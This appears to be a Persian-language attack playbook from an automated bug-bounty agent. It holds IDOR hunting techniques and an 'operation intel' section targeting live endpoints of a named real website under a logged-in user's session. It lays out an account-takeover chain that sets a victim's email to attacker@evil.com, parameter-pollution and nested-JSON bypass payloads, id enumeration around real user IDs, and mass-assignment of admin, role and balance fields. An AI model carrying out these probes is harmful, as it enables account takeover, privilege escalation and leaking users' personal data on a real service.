  • ‏‏hunt-auth-bypass — نقص authorization سطح شیء به‌علاوه‌ی نبود auth سطح route، تقویت‌کننده‌ی متعارف IDOR است. primitive زنجیره: نبود scoping بر اساس req.user.id در کوئری ORM + نبود middleware روی route قدیمی /v1/ ← خواندن داده‌ی میان‌مستأجری بدون احراز هویت با جایگزینی مستقیم ID ← dump گسترده‌ی PII بدون هیچ session.
  • ‏‏hunt-ato — IDOR روی ویرایش پروفایل مستقیم‌ترین مسیر از «دیدن داده‌ی یک نفر» به «مالکیت حسابش» است. primitive زنجیره: PATCH /api/users/{victim_uid} با session مهاجم + UID قربانی پذیرفته می‌شود ← email=attacker@evil.com ست می‌شود ← درخواست password reset ← لینک به مهاجم می‌رسد ← ATO کامل بدون دانستن credential قربانی.
  • ‏‏hunt-graphql — resolverهای GraphQL بدون authorization سطح فیلد به‌صورت پیش‌فرض IDOR هستند؛ introspection هم schema را در اختیارت می‌گذارد. primitive زنجیره: introspection با __schema ← شمردن هر mutationی که آرگومان id: می‌گیرد ← جایگزینی ID قربان در updateUser، deleteOrg، transferBilling ← گسترش انبوه IDOR از یک کوئری introspection.
  • ‏‏security-arsenal — وقتی جایگزینی مستقیم اول با 403 برگردد، بخش IDOR Bypass Tables را برای payloadهای آلودگی پارامتر (?id=own&id=victim)، wrapperهای JSON تودرتو ({"data":{"id":"VICTIM"}}) و نام‌های متغیر پارامتر (uid/userId/user_id/account) بردار.
  • ‏‏triage-validation — پیش از ادعای Critical روی IDORی که 200 می‌دهد ولی داده‌ای لو نمی‌دهد (آرایه‌ی خالی، فیلدهای redactشده، «access denied» در body با status 200)، دروازه‌ی Pre-Severity را اجرا کن. IDORی «200 اما بدون داده» دلیل شماره‌ی ۱ رد N/A در H1/Bugcrowd است.
مراحل استخراج‌شده
  1. ۱‏‏`hunt-auth-bypass` — نقص authorization سطح شیء به‌علاوه‌ی نبود auth سطح route، تقویت‌کننده‌ی متعارف IDOR است. primitive زنجیره: نبود scoping بر اساس `req.user.id` در کوئری ORM + نبود middleware روی route قدیمی `/v1/` ← خواندن داده‌ی میان‌مستأجری بدون احراز هویت با جایگزینی مستقیم ID ← dump گسترده‌ی PII بدون هیچ session.
  2. ۲‏‏`hunt-ato` — IDOR روی ویرایش پروفایل مستقیم‌ترین مسیر از «دیدن داده‌ی یک نفر» به «مالکیت حسابش» است. primitive زنجیره: `PATCH /api/users/{victim_uid}` با session مهاجم + UID قربانی پذیرفته می‌شود ← `email=attacker@evil.com` ست می‌شود ← درخواست password reset ← لینک به مهاجم می‌رسد ← ATO کامل بدون دانستن credential قربانی.
  3. ۳‏‏`hunt-graphql` — resolverهای GraphQL بدون authorization سطح فیلد به‌صورت پیش‌فرض IDOR هستند؛ introspection هم schema را در اختیارت می‌گذارد. primitive زنجیره: introspection با `__schema` ← شمردن هر mutationی که آرگومان `id:` می‌گیرد ← جایگزینی ID قربان در `updateUser`، `deleteOrg`، `transferBilling` ← گسترش انبوه IDOR از یک کوئری introspection.
  4. ۴‏‏`security-arsenal` — وقتی جایگزینی مستقیم اول با 403 برگردد، بخش IDOR Bypass Tables را برای payloadهای آلودگی پارامتر (`?id=own&id=victim`)، wrapperهای JSON تودرتو (`{"data":{"id":"VICTIM"}}`) و نام‌های متغیر پارامتر (`uid`/`userId`/`user_id`/`account`) بردار.
  5. ۵‏‏`triage-validation` — پیش از ادعای Critical روی IDORی که 200 می‌دهد ولی داده‌ای لو نمی‌دهد (آرایه‌ی خالی، فیلدهای redactشده، «access denied» در body با status 200)، دروازه‌ی Pre-Severity را اجرا کن. IDORی «200 اما بدون داده» دلیل شماره‌ی ۱ رد N/A در H1/Bugcrowd است.
۱۱

اطلاعات عملیاتی

OPERATION INTEL — stripchat authenticated phase (2026-11-14, run-20261113T202659Z-3e92a7ae8d)
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۱

یافته‌ها و پروب‌های تأییدشده از engagementهای واقعی — session، endpointها و رفتارهای مشاهده‌شده

جلسه: session نام‌دار amir = کاربر amirdaly (id 290774867، member عادی — نه model/studio/admin). auth واقعی کوکی httpOnly با نام stripchat_com_sessionId است (+stripchat_com_sessionRemember=1)؛ JWT داخل Authorization: Bearer به‌تنهایی روی اکثر routeها 403/401 می‌دهد. CSRF: mutationها یا به هدر X-Session-CSRF + X-Session-Verify: 1 نیاز دارند یا فیلدهای csrfToken+csrfTimestamp داخل body JSON (هر دو زنده مشاهده شده‌اند). توکن‌های CSRF کوتاه‌عمر/یک‌بارمصرف‌اند — پیش از هر probe مربوط به mutation از GET /api/front/v3/config/initial-dynamic دوباره بگیر.

routeهای شناخته‌شده‌ی gated (از probeهای قبلی — با session دوباره بررسی کن):

  • ‏GET /api/front/users/{id}/settings ← 200 پروفایل خودی (کار می‌کند). ماتریس کن: id±1 (290774866/68)، 0، 1، -1، غیرعددی، خیلی بزرگ، و پارامترهای لیستی. پاسخ خودی در برابر بیگانه را با target.diff مقایسه کن — تفاوت‌های redaction سطح فیلد مدل authz را آشکار می‌کند.
  • ‏POST /api/front/users/{id}/reports با {reason, reasonText} پیش از auth پذیرفته شد (خطای validation 400) — دوباره با auth میان‌کاربری تست کن: آیا می‌شود به نام/برای کاربران دیگر report ثبت کرد، یا فیلدهای reportedUserId/userId در body برای override هدف probe شود؟
  • ‏PUT /api/front/users/{id}/password ← «User can't change password»؛ /email و /verify به فیلد نیاز دارند — نام فیلدهای لازم را از پیام‌های خطای 400 استخراج کن، بعد جایگزینی id میان‌کاربری را تست کن.
  • ‏POST /api/front/models/{id}/studio-connection-request ← «User is not a model» (command-bus قابل‌دسترس است)؛ POST /api/front/studios/{id}/sub/approve ← «User is not a studio». با این حال idهای model/studio را جایگزین کن — متن خطا بر اساس نقش متفاوت است که خودش oracle است.
  • ‏مسیر PII عمومی از قبل needs_review است: /api/front/v2/users/{id}/profile بدون auth + batch — بررسی کن آیا variantهای احراز هویت‌شده فیلدهای بیشتری لو می‌دهند (hash ایمیل، تلفن، ip، فلگ‌های داخلی).

اهداف mass-assignment: PUT/PATCH روی users/{id}/settings، profile، privacy — فیلدهای isModel، isStudio، isAdmin، role، status، balance، tokens، level، verified را تزریق و پاسخ/state را diff کن. فیلدهای اضافی روی DTOهای command-bus بی‌صدا drop شدند، ولی controllerهای form-validated ساده ممکن است فیلتر نکنند.

split-brain بین session و JWT: endpointها را با (الف) session کامل، (ب) فقط Authorization، (ج) فقط کوکی امتحان کن — نتایج متفاوت نشان می‌دهد کدام middleware واقعاً مالکیت را اعمال می‌کند.

انضباط oracle: 200 با داده‌ی بیگانه = ثبت کن. 403/404 یکنواخت = سخت‌شده. متن خطای متفاوت بر اساس وجود id = oracle شمارشی ← به‌عنوان low/informational پیشنهاد بده.

مراحل استخراج‌شده
  1. ۱‏`GET /api/front/users/{id}/settings` ← 200 پروفایل خودی (کار می‌کند). ماتریس کن: id±1 (290774866/68)، 0، 1، -1، غیرعددی، خیلی بزرگ، و پارامترهای لیستی. پاسخ خودی در برابر بیگانه را با `target.diff` مقایسه کن — تفاوت‌های redaction سطح فیلد مدل authz را آشکار می‌کند.
  2. ۲‏`POST /api/front/users/{id}/reports` با `{reason, reasonText}` پیش از auth پذیرفته شد (خطای validation 400) — دوباره با auth میان‌کاربری تست کن: آیا می‌شود به نام/برای کاربران دیگر report ثبت کرد، یا فیلدهای `reportedUserId`/`userId` در body برای override هدف probe شود؟
  3. ۳‏`PUT /api/front/users/{id}/password` ← «User can't change password»؛ `/email` و `/verify` به فیلد نیاز دارند — نام فیلدهای لازم را از پیام‌های خطای 400 استخراج کن، بعد جایگزینی id میان‌کاربری را تست کن.
  4. ۴‏`POST /api/front/models/{id}/studio-connection-request` ← «User is not a model» (command-bus قابل‌دسترس است)؛ `POST /api/front/studios/{id}/sub/approve` ← «User is not a studio». با این حال idهای model/studio را جایگزین کن — متن خطا بر اساس نقش متفاوت است که خودش oracle است.
  5. ۵‏مسیر PII عمومی از قبل needs_review است: `/api/front/v2/users/{id}/profile` بدون auth + batch — بررسی کن آیا variantهای احراز هویت‌شده فیلدهای بیشتری لو می‌دهند (hash ایمیل، تلفن، ip، فلگ‌های داخلی).